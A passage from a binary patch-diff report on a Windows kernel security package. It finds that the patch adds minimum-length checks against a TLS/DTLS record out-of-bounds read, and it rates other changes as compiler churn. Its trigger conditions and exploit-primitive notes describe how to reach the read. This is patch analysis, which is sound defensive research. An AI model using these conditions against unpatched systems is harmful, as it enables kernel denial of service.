&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The patched build also inlines the sequence-number counter; the inlined body matches the unpatched helper &lt;code&gt;DigestKernelGetNextSeqNumber&lt;/code&gt; @ &lt;code&gt;0x1C0006E90&lt;/code&gt; instruction-for-instruction (same &lt;code&gt;KeEnterCriticalRegion&lt;/code&gt; / &lt;code&gt;ExAcquireFastMutexUnsafe&lt;/code&gt; / &lt;code&gt;inc [ctx+54h]&lt;/code&gt; / release / leave).&lt;/p&gt;
&lt;h3&gt;Finding #3 — &lt;code&gt;strcat_s&lt;/code&gt; copy loop (both builds; equivalent)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;UNPATCHED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x1C00034B4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PATCHED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x1400057B4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;
&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                                  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r9+r8&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;al&lt;/span&gt;&lt;span class="w"&gt;                               &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r9+r8&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;al&lt;/span&gt;
&lt;span class="n"&gt;inc&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;&lt;span class="w"&gt;                                        &lt;/span&gt;&lt;span class="n"&gt;inc&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;
&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;al&lt;/span&gt;&lt;span class="w"&gt;                                    &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;al&lt;/span&gt;
&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mh"&gt;0x1C00034D2&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NUL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;success&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mh"&gt;0x1400057CD&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NUL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;success&lt;/span&gt;
&lt;span class="n"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt;                                    &lt;/span&gt;&lt;span class="n"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="n"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="mh"&gt;0x1C00034B4&lt;/span&gt;&lt;span class="w"&gt;                               &lt;/span&gt;&lt;span class="n"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="mh"&gt;0x1400057B4&lt;/span&gt;
&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DEAD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdx+22h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;34&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ERANGE&lt;/span&gt;
&lt;span class="n"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="mh"&gt;0x1C00034D2&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DEAD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;never&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;taken&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdx+22h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;34&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ERANGE&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Identical write-then-decrement-then-check order; the unpatched-only &lt;code&gt;test rdx,rdx; jnz&lt;/code&gt; pair is unreachable and was removed.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;h3&gt;Finding #1 (TLS/DTLS record OOB read)&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Establish a TLS or DTLS context handled by the kernel Schannel provider so that inbound records are decrypted through &lt;code&gt;SslUnsealMessage*&lt;/code&gt; / &lt;code&gt;Tls*DecryptHandler&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Send an encrypted record whose declared/actual buffer length (&lt;code&gt;cbBuffer&lt;/code&gt;, the SPBuffer length field at &lt;code&gt;+4&lt;/code&gt;) satisfies &lt;code&gt;cbBuffer &amp;gt;= cipher_overhead&lt;/code&gt; (&lt;code&gt;ctx[0x40]+ctx[0x44]&lt;/code&gt;) but is shorter than the header the parser dereferences: fewer than 5 bytes for a TLS record, or fewer than 13 bytes for a record whose version byte marks it DTLS (&lt;code&gt;rec[1] == 0xFE&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Unpatched observation:&lt;/strong&gt; execution reaches &lt;code&gt;movzx ..., byte ptr [rec+0xB]&lt;/code&gt; / &lt;code&gt;[rec+0xC]&lt;/code&gt; (or &lt;code&gt;[rec+3]&lt;/code&gt;/&lt;code&gt;[rec+4]&lt;/code&gt;) and reads past the end of the record buffer.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patched observation:&lt;/strong&gt; the new &lt;code&gt;cmp &amp;lt;len&amp;gt;, 5&lt;/code&gt; / &lt;code&gt;cmp &amp;lt;len&amp;gt;, 0Dh&lt;/code&gt; returns &lt;code&gt;STATUS_INVALID_TOKEN&lt;/code&gt; (&lt;code&gt;0x80090318&lt;/code&gt;) before the read.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Whether step 2 is achievable in practice depends on the negotiated cipher's &lt;code&gt;cipher_overhead&lt;/code&gt; being smaller than the header length.&lt;/p&gt;
&lt;h3&gt;Findings #2 and #3&lt;/h3&gt;
&lt;p&gt;No trigger distinguishes the two builds. &lt;code&gt;DigestKernelHTTPHelper&lt;/code&gt;'s loop bound and skip set are compile-time constants identical across builds; &lt;code&gt;strcat_s&lt;/code&gt;'s bound is a caller-supplied constant and both builds terminate at the same byte with the same &lt;code&gt;ERANGE&lt;/code&gt; result.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;6. Exploit Primitive &amp;amp; Development Notes&lt;/h2&gt;
&lt;h3&gt;Finding #1&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Primitive:&lt;/strong&gt; Kernel out-of-bounds read (CWE-125) of a few bytes past an attacker-supplied TLS/DTLS record buffer, reached before the fixed-offset header fields are validated for presence.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reachable effect:&lt;/strong&gt; the out-of-bounds bytes form a declared record length that is then re-checked against &lt;code&gt;cbBuffer&lt;/code&gt;, so the realistic outcome is a read fault (denial of service) or a length/parsing decision influenced by adjacent memory, rather than a controlled information disclosure. No write primitive is present in this change.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Constraints:&lt;/strong&gt; requires an active TLS/DTLS context on the kernel Schannel path and a record short enough to slip under the header length while still passing the cipher-overhead check.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Findings #2 and #3&lt;/h3&gt;
&lt;p&gt;No exploit primitive. Both are semantics-preserving compiler output differences (predicate re-encoding plus helper inlining; dead-code removal). There is nothing to weaponize and no mitigation analysis applies.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;7. Verification Notes&lt;/h2&gt;
&lt;h3&gt;Finding #1&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Tls13DecryptHandler&lt;/code&gt;: unpatched guard &lt;code&gt;cmp r8d, edx&lt;/code&gt; @ &lt;code&gt;0x1C000AE5E&lt;/code&gt;; unguarded DTLS reads &lt;code&gt;[rdi+0Bh]&lt;/code&gt;/&lt;code&gt;[rdi+0Ch]&lt;/code&gt; @ &lt;code&gt;0x1C000AE8E&lt;/code&gt;/&lt;code&gt;0x1C000AE92&lt;/code&gt;. Patched adds &lt;code&gt;cmp edx, 5&lt;/code&gt; @ &lt;code&gt;0x140001723&lt;/code&gt; and &lt;code&gt;cmp edx, 0Dh&lt;/code&gt; @ &lt;code&gt;0x140001865&lt;/code&gt; before the corresponding reads at &lt;code&gt;0x14000174F&lt;/code&gt;/&lt;code&gt;0x140001754&lt;/code&gt; and &lt;code&gt;0x14000186E&lt;/code&gt;/&lt;code&gt;0x140001873&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Confirm the unpatched functions &lt;code&gt;TlsDecryptHandler&lt;/code&gt; (&lt;code&gt;0x1C0001770&lt;/code&gt;), &lt;code&gt;SslUnsealMessageStream&lt;/code&gt; (&lt;code&gt;0x1C0001330&lt;/code&gt;), and &lt;code&gt;SslUnsealMessageConnection&lt;/code&gt; (&lt;code&gt;0x1C000A6BC&lt;/code&gt;) contain no &lt;code&gt;cmp &amp;lt;len&amp;gt;, 5&lt;/code&gt; or &lt;code&gt;cmp &amp;lt;len&amp;gt;, 0Dh&lt;/code&gt;, while their patched counterparts do (addresses in the table in §4).&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Finding #2 — &lt;code&gt;DigestKernelHTTPHelper&lt;/code&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Unpatched loop tail &lt;code&gt;0x1C00071E3&lt;/code&gt;–&lt;code&gt;0x1C0007225&lt;/code&gt;; patched &lt;code&gt;0x14000986B&lt;/code&gt;–&lt;code&gt;0x1400098AD&lt;/code&gt;. Indices &lt;code&gt;{7,8,10}&lt;/code&gt; skip, all others copy under the same null-word condition. Sequence counter: unpatched &lt;code&gt;call&lt;/code&gt; @ &lt;code&gt;0x1C0007176&lt;/code&gt; → helper &lt;code&gt;0x1C0006E90&lt;/code&gt;; patched inlined &lt;code&gt;0x1400097D3&lt;/code&gt;–&lt;code&gt;0x140009803&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Finding #3 — &lt;code&gt;strcat_s&lt;/code&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Unpatched copy loop &lt;code&gt;0x1C00034B4&lt;/code&gt;–&lt;code&gt;0x1C00034D0&lt;/code&gt;; patched &lt;code&gt;0x1400057B4&lt;/code&gt;–&lt;code&gt;0x1400057CB&lt;/code&gt;. Identical write-then-check order; the unpatched &lt;code&gt;test rdx,rdx; jnz&lt;/code&gt; @ &lt;code&gt;0x1C00034C8&lt;/code&gt; is unreachable (&lt;code&gt;rdx == 0&lt;/code&gt; on fall-through). Both return &lt;code&gt;34&lt;/code&gt; at the boundary after the last in-bounds write.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Function&lt;/th&gt;
&lt;th&gt;Change type&lt;/th&gt;
&lt;th&gt;Note&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Tls13DecryptHandler&lt;/code&gt; @ &lt;code&gt;0x1C000ADC4&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;security_relevant&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Adds &lt;code&gt;cmp &amp;lt;len&amp;gt;,5&lt;/code&gt; / &lt;code&gt;cmp &amp;lt;len&amp;gt;,0Dh&lt;/code&gt; floors before header reads at offsets &lt;code&gt;1/3/4&lt;/code&gt; (TLS) and &lt;code&gt;0xB/0xC&lt;/code&gt; (DTLS); unpatched guarded only by &lt;code&gt;cbBuffer &amp;gt;= cipher_overhead&lt;/code&gt;. CWE-125 OOB read hardening.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;TlsDecryptHandler&lt;/code&gt; @ &lt;code&gt;0x1C0001770&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;security_relevant&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Same minimum-length floors added (&lt;code&gt;cmp edx,5&lt;/code&gt; @ &lt;code&gt;0x1400019FD&lt;/code&gt;, &lt;code&gt;cmp edx,0Dh&lt;/code&gt; @ &lt;code&gt;0x140001A3A&lt;/code&gt;).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SslUnsealMessageStream&lt;/code&gt; @ &lt;code&gt;0x1C0001330&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;security_relevant&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Same floors added at two record-parse sites (&lt;code&gt;0x140001234&lt;/code&gt;/&lt;code&gt;0x14000154E&lt;/code&gt; and &lt;code&gt;0x140001385&lt;/code&gt;/&lt;code&gt;0x140001587&lt;/code&gt;).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SslUnsealMessageConnection&lt;/code&gt; @ &lt;code&gt;0x1C000A6BC&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;security_relevant&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Same floors added (&lt;code&gt;cmp ecx,5&lt;/code&gt; @ &lt;code&gt;0x140004F8F&lt;/code&gt;, &lt;code&gt;cmp ecx,0Dh&lt;/code&gt; @ &lt;code&gt;0x140004FDC&lt;/code&gt;).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;DigestKernelHTTPHelper&lt;/code&gt; @ &lt;code&gt;0x1C0006F00&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;no_security_change&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;{7,8,10}&lt;/code&gt; skip predicate re-encoded (identical value set); &lt;code&gt;DigestKernelGetNextSeqNumber&lt;/code&gt; inlined (same fast-mutex counter); register reallocation. No behavioral change.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;strcat_s&lt;/code&gt; @ &lt;code&gt;0x1C0003480&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;no_security_change&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Dead-code removal only; copy bounds and &lt;code&gt;ERANGE&lt;/code&gt; behavior identical; size is a compile-time constant. No off-by-one in either build.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;DigestCreateChalResp&lt;/code&gt; @ &lt;code&gt;0x1C00083CC&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;behavioral&lt;/td&gt;
&lt;td&gt;Digest response builder; fixed &lt;code&gt;0x3001&lt;/code&gt;/&lt;code&gt;0x1001&lt;/code&gt; constant buffers with &lt;code&gt;sprintf_s&lt;/code&gt;/&lt;code&gt;strcat_s&lt;/code&gt;. Reorganized; no security boundary change.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;wil_details_FeatureReporting_IncrementOpportunityInCache&lt;/code&gt; @ &lt;code&gt;0x1C00042CC&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;cosmetic&lt;/td&gt;
&lt;td&gt;WIL feature-usage telemetry; register reallocation. Not a security fix.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;wil_details_FeatureReporting_IncrementUsageInCache&lt;/code&gt; @ &lt;code&gt;0x1C00043B4&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;cosmetic&lt;/td&gt;
&lt;td&gt;WIL feature-usage telemetry; register reallocation. Not a security fix.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;NtLmInitKernelContext&lt;/code&gt; @ &lt;code&gt;0x1C001D530&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;cosmetic&lt;/td&gt;
&lt;td&gt;&lt;code&gt;rdx&lt;/code&gt;/&lt;code&gt;rcx&lt;/code&gt; swaps; allocation sizes bounded (&lt;code&gt;&amp;lt; 0xffff&lt;/code&gt;) in both builds.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;KerbMakeSignatureToken&lt;/code&gt; @ &lt;code&gt;0x1C00229F0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;behavioral&lt;/td&gt;
&lt;td&gt;Kerberos signature-token formatting reorganized as part of the crypto refactor; no bounds/validation added or removed.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The remainder of the 294-function diff is servicing/compiler rebuild churn: a new &lt;code&gt;KerberosCryptoPolicy&lt;/code&gt; C++ class hierarchy with &lt;code&gt;unique_ptr&lt;/code&gt;/&lt;code&gt;vector&amp;lt;WrapBuffer&amp;gt;&lt;/code&gt; scaffolding, SymCrypt-style crypto wrappers (&lt;code&gt;Sha256Wrap*&lt;/code&gt;, &lt;code&gt;Sha384Wrap*&lt;/code&gt;, &lt;code&gt;Sha512Wrap*&lt;/code&gt;, &lt;code&gt;CngRsa32Compat_*&lt;/code&gt;) replacing the older &lt;code&gt;des*&lt;/code&gt;/&lt;code&gt;md5Des*&lt;/code&gt;/&lt;code&gt;md25*&lt;/code&gt; routines, WIL feature-staging gates (&lt;code&gt;Feature_Servicing_KsecpkgArgonSiloFix&lt;/code&gt;, &lt;code&gt;Feature_385562938&lt;/code&gt;), and TraceLogging/telemetry. Other record-adjacent functions (&lt;code&gt;der_read_length&lt;/code&gt;, &lt;code&gt;DeserializeContextWorker&lt;/code&gt;, &lt;code&gt;g_verify_token_header&lt;/code&gt;, &lt;code&gt;DTLSCheckRecordValidity&lt;/code&gt;, &lt;code&gt;TlsParseAlertMessage&lt;/code&gt;, &lt;code&gt;SPCountCertificates&lt;/code&gt;) were reviewed and carry equivalent bounds logic (a couple add only null-pointer guards), not a bounds/overflow fix.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nl"&gt;removed&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[]&lt;/span&gt;
&lt;span class="nl"&gt;added&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;TlsDecryptMessage&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;extracted&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;record&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;decrypt&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;helper&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;present&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;only&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;patched&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;carries&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;same&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="mh"&gt;0xD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;floors&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The reported match set lists no added/removed functions. At the symbol level the patched build introduces new C++/library and feature-staging symbols (crypto-policy classes, SymCrypt wrappers, WIL feature gates, telemetry) and drops the older standalone &lt;code&gt;des*&lt;/code&gt;/&lt;code&gt;md5Des*&lt;/code&gt; crypto helpers, and it extracts &lt;code&gt;TlsDecryptMessage&lt;/code&gt; as a shared record-decrypt helper. Aside from the length-floor fix carried into &lt;code&gt;TlsDecryptMessage&lt;/code&gt;, these are consistent with a library/servicing rebuild rather than additional vulnerability fixes.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Confidence:&lt;/strong&gt; High.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Strongly evidenced:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;The added &lt;code&gt;cmp &amp;lt;length&amp;gt;, 5&lt;/code&gt; and &lt;code&gt;cmp &amp;lt;length&amp;gt;, 0Dh&lt;/code&gt; floors are present in every patched record-parse entry point and absent from every unpatched counterpart; the unpatched builds reach &lt;code&gt;movzx ..., byte ptr [rec+0xB]&lt;/code&gt;/&lt;code&gt;[rec+0xC]&lt;/code&gt; (and &lt;code&gt;[rec+3]&lt;/code&gt;/&lt;code&gt;[rec+4]&lt;/code&gt;) with only a cipher-overhead comparison in front. The direction is correct (patched is stricter) and the operation is a read (CWE-125).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DigestKernelHTTPHelper&lt;/code&gt;'s loop is a compile-time-bounded index over a fixed table; both builds skip the identical set &lt;code&gt;{7,8,10}&lt;/code&gt;; the sequence-counter change is inlining of a helper with the same locking.&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;strcat_s&lt;/code&gt; decompiles identically in both builds; the only delta is dead-code removal, and its size argument is a compile-time constant.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Caveats:&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;Whether the TLS/DTLS length-floor fix corresponds to a reachable out-of-bounds access (versus defense-in-depth) depends on whether the negotiated cipher's &lt;code&gt;cipher_overhead&lt;/code&gt; (&lt;code&gt;ctx[0x40]+ctx[0x44]&lt;/code&gt;) can be smaller than the 5-/13-byte header; that lower bound was not established here. Severity is rated Medium accordingly (kernel OOB read, network-adjacent TLS/DTLS surface, no write primitive, leaked bytes feed a re-validated length).&lt;/li&gt;
&lt;li&gt;The overall diff reflects a large servicing/compiler rebuild; the remaining changed functions were reviewed for added/removed bounds or validation and found to be library/feature-staging/telemetry churn or semantics-preserving refactors.&lt;/li&gt;
